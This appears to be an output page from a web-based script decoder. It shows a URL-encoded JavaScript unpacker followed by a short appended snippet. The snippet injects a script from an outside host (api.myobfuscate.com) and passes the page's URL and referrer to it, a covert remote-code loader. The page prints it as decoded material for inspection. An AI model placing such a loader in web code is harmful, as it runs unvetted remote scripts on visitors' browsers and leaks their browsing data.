Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


var _escape='%3Cscript%3E//%0A//%20Unpacker%20for%20Dean%20Edward%27s%20p.a.c.k.e.r%2C%20a%20part%20of%20javascript%20beautifier%0A//%20written%20by%20Einar%20Lielmanis%20%3Ceinar@jsbeautifier.org%3E%0A//%0A//%20Coincidentally%2C%20it%20can%20defeat%20a%20couple%20of%20other%20eval-based%20compressors.%0A//%0A//%20usage%3A%0A//%0A//%20if%20%28P_A_C_K_E_R.detect%28some_string%29%29%20%7B%0A//%20%20%20%20%20var%20unpacked%20%3D%20P_A_C_K_E_R.unpack%28some_string%29%3B%0A//%20%7D%0A//%0A//%0A%0Avar%20P_A_C_K_E_R%20%3D%20%7B%0A%20%20%20%20detect%3A%20function%20%28str%29%20%7B%0A%20%20%20%20%20%20%20%20return%20P_A_C_K_E_R._starts_with%28str.toLowerCase%28%29.replace%28/%20+/g%2C%20%27%27%29%2C%20%27eval%28function%28%27%29%20%7C%7C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20P_A_C_K_E_R._starts_with%28str.toLowerCase%28%29.replace%28/%20+/g%2C%20%27%27%29%2C%20%27eval%28%28function%28%27%29%20%3B%0A%20%20%20%20%7D%2C%0A%0A%20%20%20%20unpack%3A%20function%20%28str%29%20%7B%0A%20%20%20%20%20%20%20%20var%20unpacked_source%20%3D%20%27%27%3B%0A%20%20%20%20%20%20%20%20if%20%28P_A_C_K_E_R.detect%28str%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20eval%28%27unpacked_source%20%3D%20%27%20+%20str.substring%284%29%20+%20%27%3B%27%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28typeof%20unpacked_source%20%3D%3D%20%27string%27%20%26%26%20unpacked_source%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20str%20%3D%20unpacked_source%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28error%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20well%2C%20it%20failed.%20we%27ll%20just%20return%20the%20original%2C%20instead%20of%20crashing%20on%20user.%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20str%3B%0A%20%20%20%20%7D%2C%0A%0A%20%20%20%20_starts_with%3A%20function%20%28str%2C%20what%29%20%7B%0A%20%20%20%20%20%20%20%20return%20str.substr%280%2C%20what.length%29%20%3D%3D%3D%20what%3B%0A%20%20%20%20%7D%2C%0A%0A%20%20%20%20run_tests%3A%20function%20%28sanity_test%29%20%7B%0A%20%20%20%20%20%20%20%20var%20t%20%3D%20sanity_test%20%7C%7C%20new%20SanityTest%28%29%3B%0A%20%20%20%20%20%20%20%20t.test_function%28P_A_C_K_E_R.detect%2C%20%22P_A_C_K_E_R.detect%22%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27%27%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27var%20a%20%3D%20b%27%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27eval%28function%28p%2Ca%2Cc%2Ck%2Ce%2Cr%27%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27eval%20%28%20function%28p%2C%20a%2C%20c%2C%20k%2C%20e%2C%20r%27%2C%20true%29%3B%0A%0A%20%20%20%20%20%20%20%20t.test_function%28P_A_C_K_E_R.unpack%2C%20%27P_A_C_K_E_R.unpack%27%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%22eval%28function%28p%2Ca%2Cc%2Ck%2Ce%2Cr%29%7Be%3DString%3Bif%28%21%27%27.replace%28/%5E/%2CString%29%29%7Bwhile%28c--%29r%5Bc%5D%3Dk%5Bc%5D%7C%7Cc%3Bk%3D%5Bfunction%28e%29%7Breturn%20r%5Be%5D%7D%5D%3Be%3Dfunction%28%29%7Breturn%27%5C%5C%5C%5Cw+%27%7D%3Bc%3D1%7D%3Bwhile%28c--%29if%28k%5Bc%5D%29p%3Dp.replace%28new%20RegExp%28%27%5C%5C%5C%5Cb%27+e%28c%29+%27%5C%5C%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%3Breturn%20p%7D%28%270%202%3D1%27%2C3%2C3%2C%27var%7C%7Ca%27.split%28%27%7C%27%29%2C0%2C%7B%7D%29%29%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27var%20a%3D1%27%29%3B%0A%0A%20%20%20%20%20%20%20%20var%20starts_with_a%20%3D%20function%28what%29%20%7B%20return%20P_A_C_K_E_R._starts_with%28what%2C%20%27a%27%29%3B%20%7D%0A%20%20%20%20%20%20%20%20t.test_function%28starts_with_a%2C%20%22P_A_C_K_E_R._starts_with%28%3F%2C%20a%29%22%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27abc%27%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27bcd%27%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27a%27%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20t.expect%28%27%27%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20return%20t%3B%0A%20%20%20%20%7D%0A%7D%0A%3C/script%3E';var OOO = document.createElement('script');
OOO.src = 'http://api.myobfuscate.com/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);
var l01 = document.getElementsByTagName('head')[0];
l01.appendChild(OOO);unescape(_escape)



© 2023 Quttera Ltd. All rights reserved.